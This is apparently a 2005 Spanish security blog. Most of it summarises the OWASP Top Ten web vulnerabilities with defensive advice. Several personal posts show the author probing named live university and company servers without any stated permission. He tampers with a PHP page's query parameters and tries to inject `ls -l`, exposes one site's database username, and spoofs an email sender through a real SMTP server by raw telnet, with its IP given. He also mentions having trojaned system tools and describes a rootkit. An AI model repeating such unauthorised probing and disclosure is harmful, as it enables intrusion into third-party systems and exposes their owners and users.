29 de noviembre de 2005

Falla 8: Almacenamiento inseguro

Por lo general las aplicaciones Web necesitan almacenar información sensible, ya sea en una base de datos, en un sistema de archivos o en algún otro medio. Ésta podría ser contraseñas, números de tarjetas de crédito, registros contables o información propietaria que con frecuencia es encriptada para protegerla.

Mientras que la encriptación se ha vuelto relativamente fácil de implementar y usar, los desarrolladores frecuentemente comenten errores de implementación cuando la integran dentro de una aplicación Web ya que generalmenete se sobreestima la protección ganada por el uso de la encriptación y no se cuida el asegurar otros aspectos del sitio.


Algunas áreas donde se cometen errores serían:


  • Fallar en la encriptación de información crucial

  • Almacenamiento inseguro de llaves, certificados y contraseñas

  • Almacenamiento incorrecto de datos sensibles en la memoria.

  • Seleccionar fuentes pobres de aleatorización de datos

  • Elegir algoritmos débiles para encripción

  • Intentar inventar nuevos algoritmos de encriptación

  • Fallar al incluir soporte para cambios en las llaves de encriptación y otros procedimientos requeridos para el mantenimiento.


El impacto de estas debilidades puede ser devastador para la seguridad del sitio Web. La encriptación por lo regular se usa para proteger los activos más sensibles del sitio, los cuales pueden ser totalmente comprometidos por un error como los antes mencionados.


La mayoría de los ambientes de aplicación Web incluyen alguna forma de soporte criptográfico. En el raro caso que tal soporte no se disponga de él hay una gran variedad de productos que se pueden agregar. Sólo los sitios Web que usan encriptación para proteger información almacenada o en tránsito son susceptibles a estos ataques.

Descubrir fallas criptográficas sin acceso al código fuente puede tomar muchísimo tiempo. Sin embargo, es posible examinar tokens, id’s de sesión, cookies y otras credenciales para ver si son o no aleatorias. Todas las estrategias criptoanalíticas pueden ser usadas para intentar descubrir cómo es que un sitio Web usa las funciones criptográficas.

Por mucho, la estrategia más fácil es revisar el código para ver cómo están implementadas las funciones criptográficas por lo que se debe llevar a cabo un cuidadoso escrutinio de la estructura, calidad e implementación de los módulos criptográficos, revisando siempre las metodologías para que las llaves, contraseñas y otros secretos se almacenen, protejan, carguen, procesen y limpien de la memoria.


La manera más fácil de protegerse contra las fallas criptográficas es minimizar el uso de la encriptación y sólo mantener la información que es absolutamente necesaria. Por ejemplo, más que encriptar los números de tarjetas de crédito y guardarlos, simplemente pida a los usuarios que los introduzcan nuevamente. También, en lugar de guardar las contraseñas encriptadas con un algoritmo que utilice llaves, use una función de una vía como SHA-1 para encriptar las contraseñas.

Si se impone el uso de algún método criptografico, escoja siempre una biblioteca que ha sido expuesta al escrutinio público y asegúrese de que no hay vulnerabilidades abiertas. Encapsule las funciones criptográficas que son usadas y revise el código cuidadosamente. Asegúrese de que los secretos, como las llaves, certificados y contraseñas son almacenados de forma segura. Un método interesante podría ser el uso de un secreto maestro dividido en al menos dos ubicaciones que se ensamblara en tiempo de ejecución. Tales ubicaciones pueden incluir archivos de configuración, un servidor externo o dentro del código mismo.

22 de noviembre de 2005

Falla 7: Manejo inadecuado de errores

El manejo inadecuado de errores puede introducir variados problemas de seguridad a un sitio Web. El error mas común es cuando se le muestra al usuario (posiblemente un usuario mal intensionado), información detallada de mensajes reporte de problemas como rastreos de pila, volcados de BD y códigos de error. Éstos revelan detalles de la implementación que nunca deberían ser revelados.
Tales detalles pueden proveer a los piratas informáticos de pistas importantes sobre potenciales fallas en el sitio y tales mensajes de error son también perturbadores para los usuarios normales.

Las aplicaciones Web frecuentemente generan condiciones de error durante su operación normal. Falta de memoria,
excepciones por punteros nulos, llamadas fallidas a sistema, BD no disponible, tiempo de espera de red agotado y cientos
de otras condiciones comunes pueden causar que los errores sean generados. Estos errores deben ser manejados de
acuerdo a un esquema bien pensado que provea al usuario de un mensaje de error con sentido, información de diagnostico
para quienes mantienen el sitio, y ninguna información útil para un atacante.

Incluso cuando los mensajes de error no proveen muchos detalles, las inconsistencias en tales mensajes pueden revelar
pistas importantes de cómo funciona un sitio y qué información esta presente bajo la cubierta. Por ejemplo, cuando un
usuario trata de acceder a un archivo que no existe, el mensaje de error tradicionalmente indica “archivo no encontrado”.
Cuando se accede a un archivo al que el usuario no está autorizado, se indica “acceso negado”. Se supone que el usuario
no debe saber siquiera si existe el archivo, pero tales inconsistencias claramente revelan la presencia o ausencia de
archivos inaccesibles o la estructura de directorios del sitio.

Un problema común de seguridad causado por el manejo inadecuado de errores es la prueba de seguridad de apertura de
archivos. Todos los mecanismos de seguridad deben negar el acceso hasta que sea específicamente otorgado, y no otorgar
acceso hasta que sea negado, lo cual es una razón común de porque ocurren los errores de apertura de archivos. Otros
errores pueden causar que el sistema se caiga o consuma recursos significativos, negando o reduciendo efectivamente el
servicio a usuarios legítimos.

Un buen mecanismo de manejo de errores debe ser capaz de manejar cualquier conjunto de entradas posible, mientras
fomenta una seguridad apropiada. Mensajes de error simples deben ser producidos y registrados de tal manera que su
causa, ya sea un error en el sitio o un intento de ataque, pueda ser revisada. El manejo de errores debe no sólo enfocarse
en las entradas proveídas por el usuario, sino que deben también incluir cualquier error que pueda ser generado por
componentes internos tales como llamadas al sistema, consultas de BD o cualquier otra función interna.

Tradicionalmente una revisión simple puede determinar cómo responde su sitio a varios tipos de errores de entrada.
Pruebas más profundas son usualmente requeridas para hacer que ocurran errores internos y ver cómo se comporta el sitio.
Otra estrategia importante es tener una revisión detallada del código que busque en éste la lógica en el manejo de errores.
El manejo de errores debe ser consistente a través de todo el sitio y cada pieza debe ser parte de un esquema bien
diseñado. Una revisión de código revelará cómo pretende el sistema manejar varios tipos de errores. Si encuentra que no hay organización en el esquema de manejo de errores o que parece que hay muchos esquemas diferentes, muy
posiblemente hay un problema.

Una política especifica de cómo manejar errores debería ser documentada, Incluyendo los tipos de errores a ser manejados
y, para cada uno de ellos, qué información debe ser reportada al usuario y qué información será registrada. Todos los
desarrolladores necesitan entender la política y asegurarse que su código la siga.

En la implementación, asegúrese de que el sitio está construido para manejar elegantemente todos los posibles errores.
Cuando los errores ocurran, el sitio debe responder con un resultado específicamente diseñado que sea de ayuda al
usuario, sin que revele detalles internos innecesarios. Ciertas clases de errores deben ser registrados para ayudar a detectar
errores de implementación en el sitio y/o intentos de ataque.

Muy pocos sitios tienen alguna habilidad de detección de intrusos en su aplicación Web, pero es ciertamente concebible que
una aplicación Web pueda rastrear repetidos intentos fallidos y generar alertas. Note que la vasta mayoría de ataques a
aplicaciones Web no son detectados nunca porque muy pocos sitios tienen la capacidad para hacerlo. Por lo tanto, el éxito
de los ataques contra la seguridad de aplicaciones Web parece ser seriamente subestimado.

Falla 2: Control de acceso interrumpido

El proceso de control de acceso (conocido como autorización), es la manera en la que una aplicación web garantiza el acceso al contenido y la ejecución de funciones a algún usuario en particular.

Estas revisiones se hacen después de la autenticación y dictaminan qué es lo que los usuarios "autorizados" pueden hacer o no. ¿Así de entrada suena simple no lo crees? El problema es que no es tan sencillo implementar de manera correcta y eficientemente un sistema de autorización, ya que en primera, el modelo a seguir generalmente está estrechamente ligado con el contenido y las funcionalidades del sitio, y por otro lado, los usuarios pueden pertenecer a uno o varios grupos o roles cada uno con diferentes privilegios en el sistema.

Todo comienza cuando los desarrolladores desestiman la dificultad inherente en el proceso de la implementación de los mecanismos de control ya que en su mayoría los esquemas desarrollados no fueron deliberadamente designados para este propósito y fueron evolucionando junto con la aplicación web. En estos casos, se tienen varias versiones de las reglas de control de acceso regadas por todo el sitio, lo que ocaciona que a medida que el sitio crezca, la tarea de mantener toda esta colección de reglas va aumentanto hasta que se hace prácticamente insostenible y las reglas en sí dejan de tener sentido para los desarrolladores.

El problema continúa en virtud de que los controles de autorización, al estar tan íntimamente relacionados con la aplicación en sí, son difícilmente reutilizados o reimplementados en algún proyecto nuevo, lo que en su caso requerirá modificaciones.

Estos esquemas de control de acceso son fácilmente detectables y explotables por medio de llamadas a funciones o solicitudes de contenido que no debería proporcionarse. Resulta claro que las consecuencias son devastadoras puesto que además de ganar acceso a la visualización de contenido no autorizado, el atacante podría ejercer operaciones no autorizadas para cambiar o hasta eliminar los datos e incluso adueñarse de la administración del sitio.

Un ejemplo muy específico del problema del control de acceso son las interfaces que le permiten a los administradores manejar un sitio desde internet debido a que permiten controlar a los usuarios, los datos y el contenido del sitio. En algunos casos estos sitios implementan roles administrativos lo que permite una administración más fina. En virtud de todo el poder que concentran estas interfaces, se convierten comunmente en los objetivos primarios de cualquier ataque.

Virtualmente todos los sitios tienen algún mecanismo de control de acceso. Por esto es que es recomendable crear una política de control de acceso claramente documentada. Así mismo, la documentación de las etapas de diseño debería concentrarse en la implantación de dicha política.

Del mismo modo que con la política, el código que la implementa debe revisarse y después probarse mediante pruebas de penetración. Es recomendable que se diseñe para ser modular, estructurado y mayormente centralizado.

Finalmente, otra práctica importate es averiguar cómo se administran los sitios web, averigue cómo se hacen los cambios sobre las páginas, en dónde se prueban y cómo son transportados al servidor de producción. Si los administradores pueden hacer cambios de manera remota sería deseable saber cómo están protegidos esos canales.

4 de noviembre de 2005

Falla 4: Cross site scripting

Las vulnerabilidades de scripting de sitio cruzado (Cross-site scripting o simplemente XSS) ocurren cuando un atacante utiliza una aplicaciónb web para enviar código malicioso, generalmente en la forma de un script, a un usuario.

Estas fallas son bastante comunes y ocurren cuando una aplicación web utiliza (sin validar) los datos ingresados por un usuario a fin de generar la salida. En este caso, el navegador del usuario no tiene manera de saber que no se debería confiar en e script, por lo que eventualmente lo ejecutará y podrá acceder a cualquier sesión, cookies o alguna otra fuente de información sensible retenida en el navegador. Estos scripts pueden reescribir el contenido de la página HTML.

Los ataques XSS se pueden categorizar de la siguiente forma:

- Almacenados y
- Reflejados

Los araques almacenados son aquellos en los que el código inyectado reside permanentemente en los servidores que lo envían, ya sea en la base de datos, en un mensaje de un foro, en un log de un visitante, campo de comentario, etc.La víctima descarga el script malicioso del servidor cuando hace alguna solicitud de contenido.

Los ataques reflejados son aquellos donde el código inyectado es reflejado fuera del servidor, tal como en un mensaje de error, el resultado de una búsqueda o cualquier otra respuesta que incluya una parte de la entrada enviada al servidor como parte de una solicitud.

Los ataques reflejados son enviados a las víctimas por otras rutas tales como un correo electrónico u otro servidor web; en cuyo caso cuando el usuario da click sobre una liga o envía cierto tipo de forma, el código inyectado viaja al servidor web vulnerable, el que a su vez refleja el ataque al navegador del cliente, que ejecuta el código puesto que proviene de un servidor "seguro".

Las consecuencias de un ataque XSS son las mismas sin importar la variante del ataque del que se trate, la diferencia está en cómo llega al servidor el código malicioso. No hay que confiarse al pensar que un sitio de sólo lectura o "brochureware" no es vulnerable a los ataques XSS reflejados.
Los XSS pueden causar una variedad de problemas para el usuario final que van desde simples molestias en la navegación hasta compromisos completos de las cuentas en los sitios web. Los ataques más severos hacen pública la información de las cookies del usuario, permitiendo a los atacantes secuestrar la sesióny tomar el control de la misma. Otros ataques incluyen la divulgación de los archivos del usuario, la instalación de troyanos, la redirección del usuario a alguna otra página y la modificación de la presentación del contenido, como por ejemplo:

Un atacante podría modificar una comunicado de prensa que afecte la confianza de los consumidores o, en un sitio farmacéutico, podría modificar la información de dosificación de algún medicamento.

Los atacantes se ayudan de varios métodos para codificar la porción maliciosa del código, tal como el uso de Unicode, de ta forma que el request es menos sospechoso. Hay miles de variantes de estos ataques, que incluyen versiones que nisiquiera requeren de la inclusión de los símbolos <> (necesarios para definir scripts en las páginas web), por tanto es muy complicado filtrar exitosamente estos scripts. Lo que en todo caso se recomienda es la validación de la entrada contra una especificación clara de qué es lo que se espera. Los ataques XSS generalmente vienen desde scripts de JavaScript, aunque cualquier contenido activo incrustado (ActiveX,VBScript, Shockwave, Flash y muchos otros) es un peligro potencial.

Otros ataques se pueden presentar desde los mismísimos servidores de aplicaciones o de web subyacentes ya que éstos generan páginas muy simples en caso de que ocurran algunos errores como en el caso del error 404 (Page not found) o un error 500 (Internal server error). Si estas páginas reflejan información de la petición del usuario (tal como la URL de la cual se quiso acceder), podría ser vulnerable a un ataque XSS reflejado.

La probabilidad de que un sitio contenga vulnerabilidades XSS es extremadamente alta ya que hay una muy amplia variedad de formas de engañar a las aplicaciones web para que almacenen scripts maliciosos.

Los desarrolladores que traten de filtrar las partes maliciosas de estas peticiones están lejos de hacerlo efectivamente debido a las muchas codificaciones que se pueden usar.

Finalmente, no es difícil encontrar este tipo de debilidades, lo único que se necesita es un navegador y algo de tiempo, además de que hay muchas herramienta disponibles para ayudar a localizar las fallas y explotarlas a fin de inyectar ataques XSS en un sitio objetivo.

27 de octubre de 2005

Falla 3: Autenticación interrumpida y manejo de sesiones

El proceso de autenticación y manejo de sesión incluye todos los aspectos del manejo de la autenticación del usuario y el manejo de las sesiones activas.


La autenticación es un aspecto crítico de este proceso sobre todo en el entendido que aún un mecanismo sólido de autenticación puede ser esquivado por un manejo defectuoso de las credenciales del usuario, es decir, mediante el uso de funcionalidades como: "Cambio de contraseña", "Actualización de la cuenta", "¿Olvidó su clave?", "Recordar mi contraseña", etc. Cabe recordar que en virtud de que estas funcionalidades están expuestas a cualquiera es deseable que todas ellas (funciones de manejo de cuenta) sean autenticadas siempre que se invoquen sin importar que el usuario tenga una sesión válida.

La autenticación de los usuarios en la web envuelve el uso de un id de usuario (número de identificación) y una clave (password). Hay en el mercado algunos métodos más robustos basados en medio criptograficoso biométrico, los cuales obvia decir, tienen costos prohibitivos para la mayoría de desarrollos de
aplicaciones web.

Es común que los problemas comiencen cuando los equipos de desarrollo desestiman la complejidad del diseño de esquemas de autenticación y manejo de sesión apropiados para proteger las credenciales de los usuarios en todo el sitio.

Las aplicaciones web deben crearr sesiones para llevar el registro del flujo de peticiones de cada usuario. El protocolo que se usa en el web es HTTP, el cual no soporta esta característica; por lo tanto, las propias aplicaciones deben encargarse de esto, ya sea por medio de las prestaciones de su ambiente de desarrollo o bien, utilizando sus propios recursos. En ambos casos, si los datos relativos a la sesión no se protegen debidamente, algún atacante puede "secuestrar" una sesión activa al asumir la identidad del usuario.

Una medida preventiva es la de proteger el envío de información sensible por medio de protocolos encriptados como SSL.

Por otro lado, hay una sola medida para determinar si nuestras aplicaciones son o no vulnerables. Esta es llevar a cabo auditorías sobre el código que se usa para la autenticación y el manejo de la sesión. Se debe verificar que los datos del usuario siempre se encuentren seguros, ya sea que estén en tránsito (al viajar por la red), o almacenados (en disco duro).

Finalmente, algunas técnicas aconsejables para proteger las aplicaciones son:
- Usar contraseñas resistentes, procurando no usar el nombre de usuario como contraseña, ni palabras que sean fácilmente descubiertas.
- Límitar los intentos fallidos a fin de que un atacante no pueda llevar a cabo un ataque por diccionario o fuerza bruta.
- Controlar lo cambios de contraseñas. En caso de que un usuario solicite una contraseña olvidada, éste debe confirmar su solicitud.
- Encriptar las contraseñas.
- Proteger contraseñas en tránsito por medio de canales seguros como SSL.
- Proteger de la lista de nombres de usuario para evitar que puedan ser usados en intentos de accesos no autorizados.
- Evitar el uso de sistemas de recordatorio de contraseñas en los navegadores.
- Emplear en el código de las secciones sensibles todo tipo de etiquetas para evitar el uso del almacenamiento de contraseñas (u otro tipo de información sensible) en el navegador.
- Forzar la autenticación de todos y cada uno de los componentes de la aplicación, evitanto las relaciones de confianza.

23 de julio de 2005

Hablando de errores

Una de esas madrugadas en donde no tienes más que hacer que ponerte a instalarle bichos de seguridad a los sistemas y platicar con los cuates crackers... uno de estos me hizo notar una cosa interesante en: http://www.uson.mx/noti_php/nota1.php

Si tienen la curiosidad de entrar a este URL se darán cuenta que marca varios errores de PHP:

Notice: Undefined index: m in /spaceA/www/www.uson.mx/noti_php/nota1.php on line 220
AGOSTO del
Notice: Undefined variable: a in /spaceA/www/www.uson.mx/noti_php/nota1.php on line 285

De los cuales podemos observar
1. Del primer error (Undefined index: m), concluímos que por ahí la variable m está incluída como un índice en un arreglo o bien está metido en un switch.
2. Del segundo error: Undefined variable a, sacamos que obviamente por ahí hay exíste una variable a.
3. Aún no sabemos para qué se utilizan pero al menos sabemos que exísten

Acto seguido, probaremos si tienen las register globals encendidas o no. Esto de las register globals tiene que ver con el hecho de que puedas o no enviar datos al script de PHP directamente desde el query string. Probaremos qué hace si yo le doy un valor a la variable a: http://www.uson.mx/noti_php/nota1.php?a=saludos

Y entonces el mensaje cambia a:
Notice: Undefined index: m in /spaceA/www/www.uson.mx/noti_php/nota1.php on line 220
AGOSTO del saludos

De lo cual deducimos:
1) La variable $a el el valor del año y
2) Se está usando una versión de PHP que no tiene las register globals apagadas. So? se le puede enviar información a diestra y siniestra.

Probemos ahora con el index $m, vamos a meterle un valor mm de 2 digamos:
http://www.uson.mx/noti_php/nota1.php?a=saludos&m=2

Lo que nos devuelve:
FEBRERO del saludos

Oh sorpresa! el índice m parece tener que ver con un arreglo en el que se guardan los nombres de los meses. Ahora, si a $m le mandamos una letra o un 0 simplemente nos dirá "AGOSTO", pero curiosamente si le pasamos un número negativo como -2 lo imprimirá y mandará el mensaje de:
-2 del saludos

Así que podemos saber algo respecto a este arreglo de datos, que al parecer el valor por defecto es AGOSTO, aunque me intriga el hecho de que imprima el número negativo.

Finalmente aunque traté de enviarle un `ls -l` para ver si me devolvía la salida pues no funcionó pues al parecer al menos se tomaron la molestia de pasar por un addslashes() las variables de entrada antes de imprimirlas.

Imagínense lo que pasaría si hubiese podido ejecutar mi "ls -l".

¿Ya ven porqué es bueno validar los datos de entrada?

Ahí va otra.
Echemos una mirada a http://opina.iteso.mx/
Aquí obviamente veremos que el nombre de usuario con el que uno se conecta a la base de datos es "dragnovich", que la base de datos está en "localhost" y que utiliza un password de entrada

En fin, hay uno de estos en cada lugar.

21 de julio de 2005

Falla 6: Fallas de inyección

Este tipo de fallas está en cierto modo relacionado con el de la entrada de datos no validada puesto que permite que un atacante envíe código malicioso a través de una aplicación web hacia otro sistema. Estos códigos pueden ser llamadas al sistema, el uso de programas externos vía comandos de shell así como llamadas servidores de soporte mediante SQL (variante conocida como inyección SQL). Incluso se pueden enviar scripts completos escritos en perl, python y otros lenguajes usando aplicacines web pobremente diseñadas y ejecutadas. De modo que cualquier aplicación web que use un intérprete es suceptible de estos ataques ya que generalmente se ayudan de programas externos y de opciones del sistema operativo para llevar a cabo sus tareas.

Muchas aplicaciones web utilizan programas externos o del sistema operativo para llevar a cabo sus tareas. Uno de los más frecuentemente invocados es sendmail (un programa para envío de correo electrónico). Cuando una aplicación pasa información desde una petición HTTP debe revisarla cuidadosamente, de otro modo el atacante puede inyectar metacaracteres especiales, comandos maliciosos o modificadores de comandos y la aplicación los pasará confiadamente al sistema externo donde serán ejecutados.

La inyección de comandos SQL es una variante particularmente extendida y peligrosa de este tipo de ataques, para lo cual un atacante debe encontrar un parámetro que la aplicación pase a la base de datos e incluir ciertos comandos como parte del contenido de éste.Como se pueden imaginar estos ataques no son difíciles de llevar a cabo puesto que exísten varias herramientas para buscar estas fallas y las consecuencias pueden ir desde la obtención de los datos almacenados hasta la pérdida total de la base.

Como resuta claro, en virtud de que está muy extendido el uso de las llamadas a funciones del sistema operativo y de programas externos, la posibilidad de tener una de estas fallas debe ser considerada como alta.

Todos los ambientes de aplicaciones web permiten la ejecución de comandos externos tales como llamadas al sistema, interfaces de comando y solicitudes SQL. La suceptibilidad de una llamada externa a una inyección de comando depende de cómo es hecha la llamada y el componente específico que está siendo llamado, pero casi todas estas llamadas externas puedens er atacadas si la aplicación no está codificadamente codificada.

La mejor forma de determinar si nuestras aplicaciones son o no vulnerables es buscar en el código fuente todas las llamadas a recursos externos (system, exec, fork, runtime.exec, peticiones SQL o cualquier función que se use para enviar información a intérpretes de comandos). Notemos que muchos lenguajes tienen varias formas de ejecutar comandos externos. Los desarrolladores deben revisar su código y buscar por todos los lugares donde la entrada de una petición HTTP podría posiblemente hacerse camino a través de cualquiera de estas llamadas. Debemos examinar cuidadosamente cada una de éstas para asegurarnos que los pasos de protección se verifican completamente.

Los correos de la escuelita

Esta noche como no tengo mucho que hacer me puse a hacer unas simples pruebas a uno de los servidores de correo electrónico de la Facultad de Ciencias de la Computación (http://www.cs.buap.mx) de la Benemérita Universidad Autónoma de Puebla (http://www.buap.mx) y me encontré con que el servidor acepta cualquier cosa como dirección de sender siempre y cuando el recipient sea un usuario local. Es decir, podemos mandar iles de sandeces a los usuarios de este servidor siempre y cuando tengamos una lista de direcciones a las cuales enviarlas.

telnet 148.228.20.2 25
Trying 148.228.20.2...
Connected to 148.228.20.2.
Escape character is '^]'.
220 solarium.cs.buap.mx ESMTP Sendmail 8.12.10/8.12.10; Thu, 21 Jul 2005 00:19:13 -0500
MAIL FROM:dios@alturas.com
250 2.1.0 dios@alturas.com... Sender ok
RCPT TO:freddy@cs.buap.mx
250 2.1.5 freddy@cs.buap.mx... Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
saluditos
.
250 2.0.0 j6L5JDna027674 Message accepted for delivery
QUIT
221 2.0.0 solarium.cs.buap.mx closing connection
Connection closed by foreign host.

Y si analizamos el correo en sí nos encontraremos con un header como el siguiente:

From dios@alturas.com Thu Jul 21 00:19:56 2005
Return-Path:
Received: from 207-36-160-8.ptr.primarydns.com (207-36-160-8.ptr.primarydns.com [207.36.160.8])
by solarium.cs.buap.mx (8.12.10/8.12.10) with SMTP id j6L5JDna027674;
Thu, 21 Jul 2005 00:19:45 -0500

Es decir, que al menos la máquina solarium es capaz de detectar desde qué IP se está enviando el correo. (Aunque a estas alturas ya no sabemos si sería peor que no lo hiciera).

Por cierto, este problema se repite en 148.228.20.5

Y la pregunta siguiente es: ¿Esto es o no un problema de seguridad?

!Saludos al alma mater!

20 de julio de 2005

Oda a un servidor auto-administrado

Ayer por la tarde me llevaron a la oficina un servidor que estaba alojado en SICOM (http://www.sicom.edu.mx), este servidor pertenece a una empresa llamada IDSCorp (¿¿??). Los detalles de la razón por la cual el servidor de una empresa se encuentra alojado y utilizando recursos de una dependencia del gobierno del estado de Puebla (México) (http://www.puebla.gob.mx) me resultan obscuras y no trataré de esclarecerlos.

El hecho es que este servidor marcaba un Kernel Panic durante el proceso de arranque.
Obviamente se trata de una máquina con GNU/Linux, y para ser precisos, RedHat versión 9. Ante este escenario lo más lógico pensar era que el administrador o "alguien" había recompilado el kernel y habría hecho algo indebido o bien que simplemente se habían puesto a jugar con el archivo de configuración del grub. Pues bien, lo más lógico era entrar con un disco de rescate de esa distribución en particular y de ahí tratar de rienstalar el kernel o bien los paquetes que fieran necesarios.

¡Oh sorpresa! el rpm no funciona, es decir, al menos responde un rpm -q, pero con todo lo demás simplemente manda un error. Visto esto, es muy probable que rpm esté simplemente troyaneado (de la misma forma que yo troyaneé anteriormente ps, w, finger, who y algunas cositas más). En eso se me ocurrió ejecutarle un init 1 (es decir, cambiar al nivel de administración del servidor) a ver si algo respondía e imagínense mi cara cuando descubrí que el problema era que tenían un backdoor instalado llamado suckIT (Una excelente chat-conferencia sobre los backdoors la pueden encontrar en: http://umeet.uninet.edu/umeet2003/spanish/talks/20031219.3.es.html).
El problema radicaba en que después de la instalación de este rootkit cualquier comando ejecutado en el sistema simplemente causaba y un error de instrucción no válida en el procesador y la consecuente caída del sistema, lo cual me impedía llevar a cabo un trazado del proceso que estaba ejecutando el mentado rootkit. El hecho es que como este juguetito suele "esconder" sus huellas, es decir, esconde los procesos que utiliza, resulta difícil de hallar para un ojo no experimentado.

Una muy breve descripción de suckIT sería: "SucKIT is a rootkit presented in Phrack issue 58, article 0x07 ("Linux on-the-fly kernel patching without LKM", by sd & devik). This is a fully working rootkit that is loaded through /dev/kmem (i.e. it does not need a kernel with support for loadable kernel modules. It provides a password protected remote access connect-back shell initiated by a spoofed packet (bypassing most of firewall configurations), and can hide processes, files and connections.". El detalle es que al momento no esta disponible la página de phrack, pero el link original del artículo es: https://www.phrack.com/show.php?p=58&a=7

Total, como al final me desesperó que no podía hallar el mentado código opté por la reinstalación y recuperación del sistema. Proceso que me llevó algo de tiempo pero finalmente rindio frutos.

Un análisis forénse un ataque similar está muy bien documentado en (http://www.seguridad.unam.mx/eventos/reto/nueve_tecnico.pdf), por lo que recomiendo su lectura y análisis posterior.

Las moralejas del cuento son varias:
Como mencioné se trataba de un RedHat 9, es decir, una instalación vieja sin actualizar.
Por consecuencia los paquetes instalados como MySQL eran ya muy viejos pues traía una versión 3. y pelos, el PHP era versión 4 aún y el apache aunque ya era de la serie 2.0.X de todos modos ya no era muy buena que digamos.
Por otro lado, el amdinistrador dejó mucho que desear puesto que al preguntarle varios datos respecto a la configuración de red del sistema pues simplemente no supo.
El Servidor estaba tomado por un grupo brasileño desde hacía ya algunos meses y la administración pensó que instalando un firewall se iban a arreglar los problemas.

En pocas palabras, se trataba de un servidor auto administrado.. cuyo fin fue la reinstalación.

18 de julio de 2005

Falla 5: Desbordamiento de búfer

El desbordamiento de búfer se utiliza comúnmente para corromper la ejecución de la pila en una aplicación web mediante el envío de información cuidadosamente seleccionada, de manera que un atacante puede hacer que la aplicación web ejecute cierto código arbitrario a fin de tomar el control de la máquina.

Este tipo de fallas no es fácil de descubrir y aún cuando así fuera, es más complicado el explotarla. Con todo y esto, los atacantes se las han ingeniado para identificar buffer overflows en muchísimos productos y componentes, incluso se sabe de otra variante conocida como ataque de cadena (string attack).

Los desbordamientos de búfer pueden presentarse tanto en el servidor web como en un servidor de aplicaciones que sirva contenidos diámicos y estáticos, o en la aplicación en sí misma. Esto es un problema puesto que al conocerse la falla se cae en un grave riesgo para los usuarios de estos productos. Ahora, cuando las aplicaciones web usan librerías tales como las gráficas para generar imagenes (libtiff, libgif, etc) se exponen a estos ataques.

Lamentablemente, las aplicaciones a la medida tampoco están exentas de este problema, incluso, es más común su presencia en vista de la falta de procesos de escrutinio por los que debería pasar una aplicación web. En estas aplicaciones las fallas de desbordamiento de búfer son más difíciles de detectar puesto que hay mucho menos atacantes queriéndolos encontrar y explotar.

Casi todos los servidores de web, los servidores de aplicaciones y los ambientes de aplicaciones son susceptibles a estas fallas, por lo tanto, debemos alentar a que los administradores de servidores y librerías estén siempre al día con los reportes de errores de los productos que usen, así como de los instalados en toda la infraestructura de red. En el caso de las aplicaciones a la medida, todo el código que acepte entrada de los usuarios por medio de solicitudes HTTP debe revisarse a fin de asegurar que pueda manejar entradas de longitud arbitraria y que tenga los mecanismos necesarios para verificar el tamaño de los datos.

Debemos también ejecutar búsquedas de fallas sobre nuestros servidores o aplicaciones web con varios de los escaners más comunes.

14 de julio de 2005

Falla 1: Entrada no validada

Para entender esto partamos de la premisa de que las aplicaciones web toman sus datos de entrada de peticiones HTTP y en ciertas ocaciones de archivos para determinar cómo responder. Es decir, a veces los datos vienen por método POST, GET o PUSH.

La diferencia entre estos es básicamente la forma en la que se acomodan los datos. Hay una forma sencilla en la que nos podemos dar cuenta del método que utiliza el formulario para enviar los datos. Si el URL viene de la forma http://www.serv.org/form.php?var=valor&var2=valor2 significa que el archivo form.php recibe los datos por método GET, si no sería simplemente http://www.serv.org/form.php

Ahora, es posible puede modificar cualquier parte de la petición HTTP incluyendo la URL, la query string (cadena de petición), encabezados, cookies (galletas), campos de formas a fin de saltarse los mecanismos de seguridad del sitio. Aquellos que hallan trabajado con PHP y tuvieron que modificar el valor de los register globals entenderán a lo que me refiero.

Los nombres comunes de estos ataques son: navegación forzada (forced browsing), inserción de comandos (command insertion), scripting de sitio cruzado (cross side scripting), inundación de búfer (buffer overfloews) , ataques de formato de cadenas (format string attacks), inyección SQL (SQL injection), envenenamiento de cookies (cooki poisoning) y manipulación de campos escondidos (hidden field manipulation).

Dependiendo del conocimiento del equipo de desarrollo o de los administradores a veces encontramos algunos intentos de protección mediante el filtrado de los datos de entrada, lamentablemente hay muchísimas formas de codificar la información, sin necesidad de llegar a la encripción. De lo que se desprende por obvias razones que es necesario llevar todos los parámetros de entrada hasta su forma más simple, de otro modo, es posible que dichos datos traigan contenido malicioso.

El lado trágico del asunto es que por lo general las aplicaciones web usan solamente mecanismos del lado del cliente para hacer la validación de los datos de entrada, casi siempre mediante JavaScript o algo peor. Lo que se olvida o no se tiene muy en cuenta en estos casos es que dicho mecanismo de validación es fácilmente evitable. Basta con desactivar la ejecución de los lenguajes de scripting para que deje de funcionar nuestra preciosa validación. De modo similar, podríamos incluso usar algún otro programa como telnet (sí, algo tan vil como eso) para generar nuestras propias solicitudes HTTP.

Muchos ataques que se basan en la corrupción de los datos y parámetros de entrada se detendrían simplemente validando esta información.

13 de julio de 2005

¿Es ... seguro?

Hace poco recordé que uno de mis amigos me preguntaba si conocía el modelo OWASP. A lo cual le respondí que sí sin pensarlo (obviamente no tenia ni idea de lo que se trataba). Poco a poco me fui involucrando mas en el sitio al leer de pronto uno que otro artículo. De pronto encontré algo así como un checklist de los detalles que hay que cuidar al hacer un sitio web.

Según mi mala cabeza tenía la impresión de que mis sitios (principalmente basados en PHP) estaban seguros de entradas maliciosas con una función muy simple del estilo de

function sanitize (cadena) {
return trim(chop(addslashes(str_replace("Ñ","N",bla blabla (cadena)))));
}

Pero ahora resulta que no, que ademas debemos cuidar muchos otros detalles. Es por ello que un buen sitio para comenzar a leer sobre seguridad de las aplicaciones web es:
http://www.owasp.org/

Aquí nos maneja igualmente un Top Ten o lista de las diez cosas de las que nos debemos cuidar y entre ellas tenemos:

1. Entradas no validadas
2. Mala implementación del control de acceso.
3. Mala autenticación y control de las sesiones.
4. Cross side scripting
5. Buffer overflows
6. Inyección
7. Manejo defectuoso de errores
8. Almacenamiento inseguro
9. Negación del servicio de la aplicación
10. Manejo inseguro de las configuraciones.

El sitio donde se encuentra toda esta información es: http://www.owasp.org/documentation/topten.html

12 de julio de 2005

A veces es bueno leer el código que compilas

Hace unas noches navegaba en la obscuridad de la noche y de pronto me encontré con cosas interesantes en el sitio: http://www.neosecurityteam.net. De entrada, por más escaneos que le hice con el nmap no obtuve mucha información que digamos.

Acto seguido decidí hacer lo que los mortales y simplemente apuntar el navegador hacia ese sitio y navegando llegué a una sección de Manuales y específicamente sobre Linux. Ahí encontré uno bastante interesante que hace las veces de guía sobre cómo dejar una puerta trasera desde el mismísimo núcleo del kernel.

